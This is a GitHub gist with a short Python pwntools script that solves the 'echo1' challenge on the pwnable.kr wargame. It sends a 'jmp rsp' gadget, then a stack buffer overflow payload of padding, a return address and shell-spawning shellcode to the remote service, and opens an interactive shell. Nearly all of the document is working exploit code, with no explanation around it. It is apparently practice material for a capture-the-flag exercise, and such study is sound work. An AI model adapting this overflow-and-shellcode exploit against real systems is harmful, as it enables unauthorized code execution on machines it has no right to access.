Created
March 13, 2017 20:44
-
-
Save 0xPwny/2b680ed9005709671b8742682d678bb4 to your computer and use it in GitHub Desktop.
echo1 - Pwnable.kr
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#author : Abdeljalil Nouiri | |
from pwn import * | |
context.arch= "amd64" | |
context.os = "linux" | |
cmd = 0x6020a0 | |
""" | |
fgetsGOT = 0x602020 | |
PUTS = 0x400630 | |
""" | |
JMP = asm("jmp rsp") | |
SC = asm(shellcraft.sh()) | |
#con = process("./echo1") | |
con = remote("pwnable.kr",9010) | |
con.recvuntil("name? :") | |
con.sendline(JMP) | |
con.recvuntil(">") | |
con.sendline("1") | |
con.recvuntil("\n") | |
payload = "A"*40 | |
payload += p64(cmd) | |
payload += SC | |
con.sendline(payload) | |
con.interactive("Shell# ") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment